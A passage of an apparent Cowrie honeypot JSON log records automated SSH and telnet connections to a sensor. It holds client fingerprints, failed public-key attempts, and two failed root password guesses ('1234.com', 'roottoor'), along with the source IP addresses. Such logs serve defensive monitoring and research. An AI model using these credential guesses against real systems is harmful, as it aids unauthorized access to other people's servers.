gs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.322797Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:1d:e4:22:57:a1:e4:05:5d:40:dd:25:a5:be:f8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwQ5uYSPsx2dkntDmdzsdE7fBQXHK35/1AyJ37cDq/lRWSTy2fiS1ivpzZSyNYtY9+10bO+jXu1gjb1UajeuksLBIGm1dR3oI1Mfoitv3585o45yyOg3aHzyQzPvxR/jVHhiCNyslzGfXz+Zc1tl63wlgv0LajyqHvayeaeArlSm64yvtuzo6lc6x555823oAja05QG6AWe1b56Wv+F1uwYOajketWDYpOS65wbfM5fAHzJJXlhvx2rkKnOE4/eJdvZorlkWSSC7NQ2EspK4F1MHXQv1Jg3DxRVso1pTmFhxMEFR4LNzfTCpjSJpRkVfPE1YojHeXB9ubiUU1DBfu3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:1d:e4:22:57:a1:e4:05:5d:40:dd:25:a5:be:f8:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.519235Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:1d:e4:22:57:a1:e4:05:5d:40:dd:25:a5:be:f8:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwQ5uYSPsx2dkntDmdzsdE7fBQXHK35/1AyJ37cDq/lRWSTy2fiS1ivpzZSyNYtY9+10bO+jXu1gjb1UajeuksLBIGm1dR3oI1Mfoitv3585o45yyOg3aHzyQzPvxR/jVHhiCNyslzGfXz+Zc1tl63wlgv0LajyqHvayeaeArlSm64yvtuzo6lc6x555823oAja05QG6AWe1b56Wv+F1uwYOajketWDYpOS65wbfM5fAHzJJXlhvx2rkKnOE4/eJdvZorlkWSSC7NQ2EspK4F1MHXQv1Jg3DxRVso1pTmFhxMEFR4LNzfTCpjSJpRkVfPE1YojHeXB9ubiUU1DBfu3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.522795Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:a8:bc:29:86:ef:b1:d7:cb:26:63:ef:b2:fe:77:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCRqdfzf8gGLSzrN1x+6OEfjBJanalW46RqtUOAgL5jgMoh3+E3Zq5svctx1LGzdXdQln7moL1FZ86frbyQuyxHkOFTBE1mDGJIsO39/4IbgrZKeUQeBnN4LT5gRflEmFSI5SZn2G67eA5Vb07JazzMqsR+EYm0iUWFQL212Ki9ICYbW37fCHkZ7RJ2Qb77VsAYcCWgx+nZbcYZZ699KknaCdwNzSToSPngwFmy2V0If+qXb2DJa9e41iVKeQerrdmcJRU2UmK6ullj6BHFp7ERUXpIqNcyxR1W0JE8rSGs5qgJVZublmUobjnOj4Ibo91JIJLx03g53dhbJhPxbzxPUOmuv4hR0eR7QJ6K4Rt0U6gQ4fmV3t6XfHkhEswCy18OvGR8idz7QR2go/qN7Q4dw+EuU9Tf8IZej7BcUCrip4RivIrRxZOOl1zPWWxLBfS1qP9LwGx5Q8h4H2EIpawVbW3WfOmaNFJ2CBBmHwryD641k4grcCPPAo0HTSJW8J7w3v/3wN012J2FtLPBINggzpfTh5QblveOXIKKzIZrPVeq6JYzoP9xZBxFG7KUDGYihQxQ6zyOlXU7p2oZ6UpPzU5HKWDE/0Udohj6H/4n7mhaEVNIRmq7kYDlEktQpNfgUM91LXNsH7IqlXVk9MTkmoVxW3wjvieDDjQUA/hSXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:a8:bc:29:86:ef:b1:d7:cb:26:63:ef:b2:fe:77:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.567377Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:a8:bc:29:86:ef:b1:d7:cb:26:63:ef:b2:fe:77:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCRqdfzf8gGLSzrN1x+6OEfjBJanalW46RqtUOAgL5jgMoh3+E3Zq5svctx1LGzdXdQln7moL1FZ86frbyQuyxHkOFTBE1mDGJIsO39/4IbgrZKeUQeBnN4LT5gRflEmFSI5SZn2G67eA5Vb07JazzMqsR+EYm0iUWFQL212Ki9ICYbW37fCHkZ7RJ2Qb77VsAYcCWgx+nZbcYZZ699KknaCdwNzSToSPngwFmy2V0If+qXb2DJa9e41iVKeQerrdmcJRU2UmK6ullj6BHFp7ERUXpIqNcyxR1W0JE8rSGs5qgJVZublmUobjnOj4Ibo91JIJLx03g53dhbJhPxbzxPUOmuv4hR0eR7QJ6K4Rt0U6gQ4fmV3t6XfHkhEswCy18OvGR8idz7QR2go/qN7Q4dw+EuU9Tf8IZej7BcUCrip4RivIrRxZOOl1zPWWxLBfS1qP9LwGx5Q8h4H2EIpawVbW3WfOmaNFJ2CBBmHwryD641k4grcCPPAo0HTSJW8J7w3v/3wN012J2FtLPBINggzpfTh5QblveOXIKKzIZrPVeq6JYzoP9xZBxFG7KUDGYihQxQ6zyOlXU7p2oZ6UpPzU5HKWDE/0Udohj6H/4n7mhaEVNIRmq7kYDlEktQpNfgUM91LXNsH7IqlXVk9MTkmoVxW3wjvieDDjQUA/hSXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.571209Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:16:5f:b2:46:9a:18:f6:26:a9:ce:ac:27:19:a8:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRS25OPyc9gkgsjM5BY+LbF3U4Ib5l/lHoilrrhn3MRS6dH4+5l1iMyyHkl+aFWMT64MNGaNFABkeVB8au+jeEmkyGKMfdWrHwiiA8/tz912PnYiwpr8bSbG4+051vDtr9ihuBpfPaFENfIKzZWLue8leaC5DQdsksBgdWNotPudFrSQulVi2M2LF1vJ0N2MpOVodUTs/ap/hON89jtt6g9ZHpZu/KbWLgiEEme3RR9wJaL4NZU+EpAquUx+qAhcrtO06fMWvYOf54r1AkGOcYNjzCb8X24KHvoQAQtj49snlm/TowNRDScbHAgryiCTufGJQoyJviTtEwmTaQwESkgmRBuB0tN5UNQO4VQyDo1ffVkBNORlXCiKwzVedtiQmik+KGo2G/y4/LfaAwDC/YXuZf65zHUbGyfD+749677GAqmTYP1sWyqIR2qwkQ1AHBQJQKQTMT+TxXSPLNiR5N7rm0+XRla8cl4oXRZM00nSXkJ41Ug0B9ftIQFBEOWkKU/XESFh8TO5v0Vsmp5hNR5zigy1bl2P7uhJfZYHg0c8vbrV7U3hPZA7kWlsJ01Axt2wZMUYjy5zGIlESfdeGvfXZeHKIOrd3ypv5mPp5Qohq6d0e+Lgwg1pRTJrs9X6TS6LkdtEXPb3Q+KXDlO25C60Sr9xkPKPqrhwJvPsi90w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:16:5f:b2:46:9a:18:f6:26:a9:ce:ac:27:19:a8:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.615684Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:16:5f:b2:46:9a:18:f6:26:a9:ce:ac:27:19:a8:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRS25OPyc9gkgsjM5BY+LbF3U4Ib5l/lHoilrrhn3MRS6dH4+5l1iMyyHkl+aFWMT64MNGaNFABkeVB8au+jeEmkyGKMfdWrHwiiA8/tz912PnYiwpr8bSbG4+051vDtr9ihuBpfPaFENfIKzZWLue8leaC5DQdsksBgdWNotPudFrSQulVi2M2LF1vJ0N2MpOVodUTs/ap/hON89jtt6g9ZHpZu/KbWLgiEEme3RR9wJaL4NZU+EpAquUx+qAhcrtO06fMWvYOf54r1AkGOcYNjzCb8X24KHvoQAQtj49snlm/TowNRDScbHAgryiCTufGJQoyJviTtEwmTaQwESkgmRBuB0tN5UNQO4VQyDo1ffVkBNORlXCiKwzVedtiQmik+KGo2G/y4/LfaAwDC/YXuZf65zHUbGyfD+749677GAqmTYP1sWyqIR2qwkQ1AHBQJQKQTMT+TxXSPLNiR5N7rm0+XRla8cl4oXRZM00nSXkJ41Ug0B9ftIQFBEOWkKU/XESFh8TO5v0Vsmp5hNR5zigy1bl2P7uhJfZYHg0c8vbrV7U3hPZA7kWlsJ01Axt2wZMUYjy5zGIlESfdeGvfXZeHKIOrd3ypv5mPp5Qohq6d0e+Lgwg1pRTJrs9X6TS6LkdtEXPb3Q+KXDlO25C60Sr9xkPKPqrhwJvPsi90w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.620370Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:f2:9d:91:1a:69:f6:f6:59:2c:e3:02:4d:30:43:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdIOUl2hesGHKIwAaw4IuyoDHPaaNn7Z3m9zmJM3TiRONWUtvCwPmv5Rg81g5pb1DJJGf1OlmlOJh28mMUe/2HCE+Ja3leGq8D4Pa9h2SryYei4j4z1mdsOR3bZSJFFh3bVJgg9UOs0LuQ2va8QVvryuo+krseZDl5GQzG6PNuph1D0cRwxRFfZ8x88hnU7NvPEE663jPgyH008hcjaWdomsy9zQq6iYGxt2bxTOLdiTRf8zFHVDB2xJY2jYon/fBtewtg2ZQLJKvpnTv4cN1RVJm5B3LI4MBNbrYvI5VRdOLcVmWr9uG3gwpXbH0dPlLUr+29O5KsVsXoD3RA/NcRWHO6XPMIdQliNNZdXg4l7HnpAuS3fOnmeZN3rcy09RH9EFpyo7woK1x2WiObf1Twakp8wiySeuc97emCebfpyW7rKHGC+LbbIcrQoL99JFoCb31khdiZQfJr20eJ2Va+ImB+ndwaTjULn3C1Il4p6zkLwqxq6I2RrnWnYrEhJ6I/ygKwjrb30cKhRHJ9HvMEraRgc5ehFOyJIzgW++pvWijuIGzICN83n9j7nrt1iGQbHn97/bNrFNjgQIWy1a3aIrufu5G7uVpTKQe04USeJ/r/V4xlqEGc2b8AaXbMZuEgR/a6oIh1HJ0pmwSkpMo3nTBPneS1tp5lhkcrpqAWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:f2:9d:91:1a:69:f6:f6:59:2c:e3:02:4d:30:43:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.663871Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:f2:9d:91:1a:69:f6:f6:59:2c:e3:02:4d:30:43:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtdIOUl2hesGHKIwAaw4IuyoDHPaaNn7Z3m9zmJM3TiRONWUtvCwPmv5Rg81g5pb1DJJGf1OlmlOJh28mMUe/2HCE+Ja3leGq8D4Pa9h2SryYei4j4z1mdsOR3bZSJFFh3bVJgg9UOs0LuQ2va8QVvryuo+krseZDl5GQzG6PNuph1D0cRwxRFfZ8x88hnU7NvPEE663jPgyH008hcjaWdomsy9zQq6iYGxt2bxTOLdiTRf8zFHVDB2xJY2jYon/fBtewtg2ZQLJKvpnTv4cN1RVJm5B3LI4MBNbrYvI5VRdOLcVmWr9uG3gwpXbH0dPlLUr+29O5KsVsXoD3RA/NcRWHO6XPMIdQliNNZdXg4l7HnpAuS3fOnmeZN3rcy09RH9EFpyo7woK1x2WiObf1Twakp8wiySeuc97emCebfpyW7rKHGC+LbbIcrQoL99JFoCb31khdiZQfJr20eJ2Va+ImB+ndwaTjULn3C1Il4p6zkLwqxq6I2RrnWnYrEhJ6I/ygKwjrb30cKhRHJ9HvMEraRgc5ehFOyJIzgW++pvWijuIGzICN83n9j7nrt1iGQbHn97/bNrFNjgQIWy1a3aIrufu5G7uVpTKQe04USeJ/r/V4xlqEGc2b8AaXbMZuEgR/a6oIh1HJ0pmwSkpMo3nTBPneS1tp5lhkcrpqAWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.667602Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:7c:7a:a1:1a:e5:db:fa:61:4e:03:0f:63:fa:0a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnZ9pYj/RJKd3u3YQkwfJLa6w5qZ10LKNeP7pO4nLuN9Bx12g1Rvvqbw60xMapageRinI1GNtIB6rouM2f/5LT+Um4aE19XrorzTS+XnEs4JmbCry1fy7qJMjE/4guST1s/2hDIM9DCcoJuoWeXLkS+MstsG1aTDgVgbW+vdhZD1vKtz1gKEYGMUb6962cEXiO/KsQpF9Fy/6MuRtplGT+79pyDXCyHpuV8Eq2Sl4fWaCz4oUUU1bNO1qUVhqbtErg7mq9/Ty2GDVPCxM89M+uxrBTUQcu4ykki+8KYgLAX7bdgGRvxCGjPQounCgB6pWYk4BNgTdMMnNeQ1cohHA02yVW0gdEoKWNoyWc1SAs6fiiCsSj2oyMW6Kga71TlCoCO23zhX8Iw38NhLRoBYvhyYu5F4RTlUvn+t8rHio3UcgyGgYmrX0eX6UyHftAhDTSS9lsNeihPnU+5MLFTs3g8IUrLVm9avdw/wL38XkhQV6+WZ2L35ycKhuAqz3jjqrWIG1/TxGWm/mPQDBhkr3hi1ju8pPPJGmo2lPLAn5N4vyiN1SA/AMdP9ySyEE1G6N4LXNXkQqJosYgJ+qRXRWCUHm2hsXRt/BLWQXVEawMzY19D/VXHnTXobPJdyGZo7dbiTnwtkUC4pF3peAkWSABt9LMTuWV8vz83SOysi1pzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:7c:7a:a1:1a:e5:db:fa:61:4e:03:0f:63:fa:0a:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.711568Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:7c:7a:a1:1a:e5:db:fa:61:4e:03:0f:63:fa:0a:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnZ9pYj/RJKd3u3YQkwfJLa6w5qZ10LKNeP7pO4nLuN9Bx12g1Rvvqbw60xMapageRinI1GNtIB6rouM2f/5LT+Um4aE19XrorzTS+XnEs4JmbCry1fy7qJMjE/4guST1s/2hDIM9DCcoJuoWeXLkS+MstsG1aTDgVgbW+vdhZD1vKtz1gKEYGMUb6962cEXiO/KsQpF9Fy/6MuRtplGT+79pyDXCyHpuV8Eq2Sl4fWaCz4oUUU1bNO1qUVhqbtErg7mq9/Ty2GDVPCxM89M+uxrBTUQcu4ykki+8KYgLAX7bdgGRvxCGjPQounCgB6pWYk4BNgTdMMnNeQ1cohHA02yVW0gdEoKWNoyWc1SAs6fiiCsSj2oyMW6Kga71TlCoCO23zhX8Iw38NhLRoBYvhyYu5F4RTlUvn+t8rHio3UcgyGgYmrX0eX6UyHftAhDTSS9lsNeihPnU+5MLFTs3g8IUrLVm9avdw/wL38XkhQV6+WZ2L35ycKhuAqz3jjqrWIG1/TxGWm/mPQDBhkr3hi1ju8pPPJGmo2lPLAn5N4vyiN1SA/AMdP9ySyEE1G6N4LXNXkQqJosYgJ+qRXRWCUHm2hsXRt/BLWQXVEawMzY19D/VXHnTXobPJdyGZo7dbiTnwtkUC4pF3peAkWSABt9LMTuWV8vz83SOysi1pzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.715370Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:33:28.759917Z","src_ip":"148.153.245.161","session":"a2c08ef8f81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29449,"dst_ip":"10.17.0.5","dst_port":23,"session":"a02b37171696","protocol":"telnet","message":"New connection: 212.55.149.117:29449 (10.17.0.5:23) [session: a02b37171696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:35:38.662302Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55288,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d7dbd1c4fe6","protocol":"ssh","message":"New connection: 103.15.226.202:55288 (10.17.0.5:22) [session: 4d7dbd1c4fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:36:43.964060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:36:43.969090Z","src_ip":"103.15.226.202","session":"4d7dbd1c4fe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:36:44.208764Z","src_ip":"103.15.226.202","session":"4d7dbd1c4fe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:36:44.930667Z","src_ip":"103.15.226.202","session":"4d7dbd1c4fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:36:46.172508Z","src_ip":"103.15.226.202","session":"4d7dbd1c4fe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":44007,"dst_ip":"159.203.135.109","dst_port":22,"session":"283035ec3c68","protocol":"ssh","message":"New connection: 113.190.252.123:44007 (159.203.135.109:22) [session: 283035ec3c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:25.184102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:25.190615Z","src_ip":"113.190.252.123","session":"283035ec3c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:25.708933Z","src_ip":"113.190.252.123","session":"283035ec3c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottoor","message":"login attempt [root/roottoor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:27.270070Z","src_ip":"113.190.252.123","session":"283035ec3c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:28.788691Z","src_ip":"113.190.252.123","session":"283035ec3c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":8206,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8de54979e40","protocol":"ssh","message":"New connection: 2.57.121.25:8206 (159.203.135.109:22) [session: b8de54979e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:30.144071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:30.148628Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:37:30.247853Z","src_ip":"2.57.121.25","session":"b8de54979e40","protocol":"ssh"}
